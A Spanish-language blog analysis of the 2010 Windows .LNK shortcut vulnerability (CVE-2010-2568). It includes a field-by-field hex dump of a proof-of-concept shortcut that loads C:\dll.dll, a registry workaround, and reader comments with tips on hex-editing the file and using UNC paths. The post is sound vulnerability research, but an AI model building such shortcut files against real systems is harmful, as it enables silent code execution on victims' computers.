Contenido principal

Análisis vulnerabilidad CVE-2010-2568 (Archivos .LNK)

Julio 21, 2010

Actualización 2
Microsoft ha liberado las actualizaciones de seguridad para los sistemas afectados.
Actualización 1
Microsoft ha anunciado que planean lanzar una actualización de seguridad que hará frente a la vulnerabilidad descrita en el Advisory (2286198) el Lunes, 2 de Agosto de 2010, alrededor del medio día (hora colombiana).

A continuación podrán encontrar un pequeño análisis sobre la vulnerabilidad en la Shell de Windows que permite la ejecución de código remoto.

Microsoft describe en su respectivo aviso a la vulnerabilidad como la "causa de que Windows procesa incorrectamente los accesos directos en tal forma que código malicioso puede ser ejecutado cuando el ícono de un acceso directo especialmente manipulado es mostrado. Esta vulnerabilidad tiene una mayor probabilidad de ser explotada a través de discos removibles..."

El análisis y la exitosa reproducción de la vulnerabilidad se la debemos a ivanlef0u, quien en su publicación adjuntó los archivos necesarios para llevarla a cabo.

Lo primero que hicimos al descargar los archivos, fue analizar la estructura contenida por el archivo LNK.

En resumen, el formato se compone obligatoriamente por una cabecera llamada SHELL_LINK_HEADER y por unos datos extra llamados EXTRA_DATA.

Según unos flags contenidos en la cabecera (LinkFlags), el archivo deberá contener también:
:arrow: Una estructura LinkTargetIDList que contiene los enlaces hacia el archivo (Especificado por el bit HasLinkTargetIDList).
:arrow: Una estructura LinkInfo que contiene información necesaria para resolver el enlace de destino (Especificado por el bit HasLinkInfo).
:arrow: Cero o más estructuras StringData que se usa para transmitir información acerca de la interfaz de usuario y la identificación de la ruta (Especificado por diferentes bits en la cabecera).

El formato del archivo Shell Link Binary está conformado por la siguiente estructura Augmented Backus-Naus Form (ABNF):

SHELL_LINK        = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO] [STRING_DATA] *EXTRA_DATA
LINKTARGET_IDLIST = IDList_Size IDLIST
IDLIST            = ItemIDList TERMINALID
ItemIDList        = *ITEMID
ITEMID            = ItemIDSize Data
TERMINALID        = %x00.00
EXTRA_DATA        = *EXTRA_DATA_BLOCK TERMINAL_BLOCK
TERMINAL_BLOCK    = %x00.00.00 %x00-03

El análisis del archivo proporcionado por ivanlef0u condujo al resultado que podrán detallar a continuación

SHELL_LINK
    SHELL_LINK_HEADER
        HeaderSize = 4C 00 00 00 (Normal)
        LinkCLSID  = 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46 (Normal)
        LinkFlags  = 81 00 00 00 (81 = 10000001)
            HasLinkTargetIDList         = 1 (Debe tener seguido de SHELL_LINK_HEADER una estructura LinkTargetIDList)
            HasLinkInfo                 = 0 (No hay presente una estructura LinkInfo)
            HasName                     = 0 (No hay presente una estructura NAME_STRING)
            HasRelativePath             = 0 (No hay presente una estructura RELATIVE_PATH)
            HasWorkingDir               = 0 (No hay presente una estructura WORKING_DIR)
            HasArguments                = 0 (No hay presente una estructura COMMAND_LINE_ARGUMENTS)
            HasIconLocation             = 0 (No hay presente una estructura ICON_LOCATION)
            IsUnicode                   = 1 (El link contiene cadenas codificadas con Unicode)
            ForceNoLinkInfo             = 0
            HasExpString                = 0
            RunInSeparateProcess        = 0
            Unused1                     = 0
            HasDarwinID                 = 0
            RunAsUser                   = 0
            HasExpIcon                  = 0
            NoPidlAlias                 = 0
            Unused2                     = 0
            RunWithShimLayer            = 0
            ForceNoLinkTrack            = 0
            EnableTargetMetadata        = 0
            DisableLinkPathTracking     = 0
            DisableKnowFolderTracking   = 0
            DisableKnowFolderAlias      = 0
            AllowLinkToLink             = 0
            UnaliasOnSave               = 0
            PreferEnvironmentPath       = 0
            KeepLocalIDListForUNCTarget = 0
        FileAttributes = 00 00 00 00
            FILE_ATTRIBUTE_READONLY             = 0
            FILE_ATTRIBUTE_HIDDEN               = 0
            FILE_ATTRIBUTE_SYSTEM               = 0
            Reserved1                           = 0
            FILE_ATTRIBUTE_DIRECTORY            = 0
            FILE_ATTRIBUTE_ARCHIVE              = 0
            Reserved2                           = 0
            FILE_ATTRIBUTE_NORMAL               = 0
            FILE_ATTRIBUTE_TEMPORARY            = 0
            FILE_ATTRIBUTE_SPARSE_FILE          = 0
            FILE_ATTRIBUTE_REPARSE_POINT        = 0
            FILE_ATTRIBUTE_COMPRESSED           = 0
            FILE_ATTRIBUTE_OFFLINE              = 0
            FILE_ATTRIBUTE_NOT_CONTENT_INDEXED  = 0
            FILE_ATTRIBUTE_ENCRYPTED            = 0
        CreationTime = 00 00 00 00 00 00 00 00
        AccessTime   = 00 00 00 00 00 00 00 00
        WriteTime    = 00 00 00 00 00 00 00 00
        FileSize     = 00 00 00 00
        IconIndex    = 00 00 00 00
        ShowCommand  = 01 00 00 00 (SW_SHOWNORMAL)
        HotKey       = 00 00
        Reserved1    = 00 00
        Reserved2    = 00 00 00 00
        Reserved3    = 00 00 00 00
    LINKTARGET_IDLIST
        IDListSize   = 36 01 (IDList de tamaño 310 bytes incluyendo TerminalID)
        IDList
            Item1 (20 bytes)
                ItemIDSize = 14 00
                ItemID     = 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D
            Item2 (20 bytes)
                ItemIDSize = 14 00
                ItemID     = 2E 1E 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D
            Item3 (268 bytes)
                ItemIDSize = 0C 01
                ItemID     = 00 00 00 00 00 00 00 00 00 00 00 6A 00 00 00 00 00 00 20 00 3A 00 43 00 3A 00 5C 00 64 00 6C 00 6C 00 2E 00 64 00 6C 00 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4D 00 69 00 73 00 65 00 73 00 20 00 E0 00 20 00 6A 00 6F 00 75 00 72 00 20 00 61 00 75 00 74 00 6F 00 6D 00 61 00 74 00 69 00 71 00 75 00 65 00 73 00 00 00 43 00 6F 00 6E 00 66 00 69 00 67 00 75 00 72 00 65 00 72 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 70 00 6F 00 75 00 72 00 20 00 64 00 69 00 73 00 74 00 72 00 69 00 62 00 75 00 65 00 72 00 20 00 61 00 75 00 74 00 6F 00 6D 00 61 00 74 00 69 00 71 00 75 00 65 00 6D 00 65 00 6E 00 74 00 20 00 6C 00 65 00 73 00 20 00 6D 00 69 00 73 00 65 00 73 00 20 00 E0 00 20 00 00 00
        TerminalID = 00 00
    EXTRA_DATA
        TerminalBlock = 00 00 00 00

Del análisis podemos observar que en la estructura LINKTARGET_IDLIST está contenida la estructura IDList que a su vez contiene uno o mas ItemID. Cada ItemID corresponde a un objeto del denominado espacio de nombres de la shell (Los objetos son identificadores únicos que representan en su mayoría carpetas y archivos físicos, y en su minoría carpetas virtuales como por ejemplo impresoras, objetos de red, aplicaciones del panel de control, la papelera de reciclaje, el escritorio, mis documentos, entre otros), por lo cual la secuencia ordenada de los ItemID tiene como propósito principal el servir como ruta para el sistema de archivos.

Al extraer lo respectivos objetos siguiendo el formato establecido por Microsoft, obtenemos el esquema que usa el acceso directo que corresponde

{20d04fe0-3aea-1069-a2d8-08002b30309d} {21ec2020-3aea-1069-a2dd-08002b30309d} C:\dll.dll

Que puede traducirse a algo más humano como

{my_computer} {control_panel} C:\dll.dll

Internamente la shell busca el punto principal de la librería y la ejecuta como se puede ver en el video adjunto al final de la publicación y en las diferentes imágenes que pueden encontrar a continuación

Breakpoint en LoadLibraryW


LoadLibraryW cargando la dll con el código


Breakpoint en MessageBoxA, función encargada de mostrar el mensaje de texto


Código ejecutado correctamente luego de cargar la dll

Y la famosa prueba de concepto!

Workaround
Microsoft nos recomienda una forma muy simple de deshabilitar la vulnerabilidad, no es la forma correcta de hacerlo pero nos ayudará temporalmente a bloquear este tipo de ataques:

1. Clic en Inicio, clic en Ejecutar, digitar "Regedit" en la caja que se abre y luego dar clic en OK.
2. Localizar la siguiente clave del registro:

HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler

3. Clic en el menu Archivo y seleccionar Exportar.
4. En la caja de diálogo de exportación escribir LNK_Icon_Backup.reg y clic en Guardar.
Nota: Esto creará una copia del registro en la carpeta Mis documentos por defecto.
5. Selecciona el valor (Default) en la parte derecha del editor de registro. Presione Enter para editar el valor de la clave. Remover el valor, de forma que quede en blanco, y presionar Enter.
6. Localizar la siguiente clave del registro:

HKEY_CLASSES_ROOT\piffile\shellex\IconHandler

7. Clic en el menu Archivo y seleccionar Exportar.
8. En la caja de diálogo de exportación escribir PIF_Icon_Backup.reg y clic en Guardar.
Nota: Esto creará una copia del registro en la carpeta Mis documentos por defecto.
9. Selecciona el valor (Default) en la parte derecha del editor de registro. Presione Enter para editar el valor de la clave. Remover el valor, de forma que quede en blanco, y presionar Enter.
10. Desconecte y conecte a todos los usuarios, o reinicie el computador.

Agradecimientos especiales
A Fernando Muñoz quien me motivo a hacerle el pequeño análisis a la vulnerabilidad y autor de la DLL usada en el ejemplo del video.

Recursos
Microsoft Security Advisory (2286198)
Formato Shell Link Binary
Shell Namespace
Estadísticas de la vulnerabilidad
Ivanlef0u proof of concept

Archivado en: Hacking, Ingeniería Inversa, Seguridad, Sistemas operativos |

9 comentarios

  1. RDP Julio 22, 2010 @ 3:47 am

    ¿Cómo ha creado el .lnk?, ¿qué programa ha utilizado?, me refiero al ejemplo shukme.rar

  2. Sysroot Julio 22, 2010 @ 7:07 pm

    Ese archivo lo creó Ivanlef0u. Siguiendo el mismo formato del archivo analizado pude recrear un archivo LNK que explota la vulnerabilidad, principalmente se usa un editor hexadecimal para editar todos los campos y conseguir el efecto deseado.

  3. Pablo Julio 23, 2010 @ 8:52 am

    Interesante. ¿Sólo puede ejecutar dll o también .exe, .vbs?, ¿cómo se puede generar un dll como el de shukme.rar?, he intentado crear un dll con Visual Basic y no consigo que el dll ejecute un .exe (por ejemplo calc.exe)...
    Saludos

  4. Sysroot Julio 23, 2010 @ 6:28 pm

    Sólo puede ejecutar el código que está contenido dentro de un dll ya que como se puede ver en las imágenes, se usa la función LoadLibraryW.
    Con respecto a la librería, nosotros creamos una librería estándar con el lenguaje de programación C, no sabría decirte si creando la librería con Visual Basic puedas ejecutar el código correctamente.
    La DLL debe tener la siguiente estructura:

    #include "main.h"
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
    }
    
  5. Nueva vulnerabilidad en todos los Windows - La Comunidad DragonJAR Julio 24, 2010 @ 1:23 pm

    [...] An

  6. PABLO Julio 25, 2010 @ 6:41 am

    He visto el siguiente código para crear una dll:

    #include
    #include
    //hinstdll es la instancia de la dll
    //fdwReason es el motivo por el que se ha ejecutado el DllMain puede tomar como valores
    //DLL_PROCESS_ATTACH=Un programa ha cargado la dll
    //DLL_PROCESS_DETTACH=Un programa ha descargado la dll
    //Si devolvemos TRUE la dll se quedará cargada si devolvemos FALSE la dll se descargará
    //Por todo lo demás puedes imaginarte que estás programando un ejecutable normal y corriente
    //solo que no tienes en principio entrada y salida por consola claro.
    bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
    if (fdwReason==DLL_PROCESS_ATTACH)
    {
    FILE *arch=fopen("c:\\t\\mehecargado.txt","w");
    system("pause");
    fclose(arch);
    }
    return TRUE;
    }

    Cuando intento llamarla desde .lnk no funciona, ¿qué código puedo utilizar para ver el funcionamiento?

    Gracias

  7. German Julio 25, 2010 @ 8:12 pm

    Excelente análisis.

    Tengo una duda sobre el archivo .lnk que utiliza el malware STUXNET para esta vulnerabilidad.
    ¿Cómo sabe el archivo .lnk del malware cual es la ruta del archivo (dll) que va a ejecutar?
    Puesto que los dos archivos (el lnk y la dll) estan en una unidad extraíble y la letra de unidad que se le asigna puede variar de ordenador a ordenador, entonces como sabe el .lnk cual es la ruta real del archivo dll a ejecutar.

    Por ejemplo en el shukme.lnk que contiene la ruta C:\dll.dll. Se podrá hacer que el shukme.lnk
    ejecute la dll.sll sin especificarle la letra de la unidad en que se encuentra osea que ejecute solo si existe un archivo llamado dll.dll en el directorio que esta el shukme.lnk

    Saludos y gracias.

  8. Sysroot Julio 26, 2010 @ 12:54 am

    Pablo: Dependiendo del archivo LNK que poseas la ruta varía, me explico, hay un ItemID en el LNK que apunta a la ruta en la cual se quiere que cargue la librería, si tienes el LNK que publicó Ivanlef0u entonces la librería debe estar en la ruta C:\dll.dll, de otro modo, la única forma de saber si carga o no, o si hay algún error es depurando.

    German: Una de las limitantes para el archivo LNK es el uso de rutas relativas, en el formato publicado por Microsoft está especificado un bit para el uso de rutas relativas pero es imposible reproducir tal efecto.
    Con respecto a la pregunta de si se puede ejecutar el dll sin especificar la letra de la unidad, es fácil usando UNC para cada dispositivo de almacenamiento conectando.

  9. Explotar vulnerabilidad LNK « Ehm! Julio 27, 2010 @ 12:41 pm

    [...] al analisis sobre la vulnerabilidad y explotacion de LNK realizado por Daniel, se pudo crear un archivo LNK indetectable por los Antivirus que reproduce [...]

Deja un comentario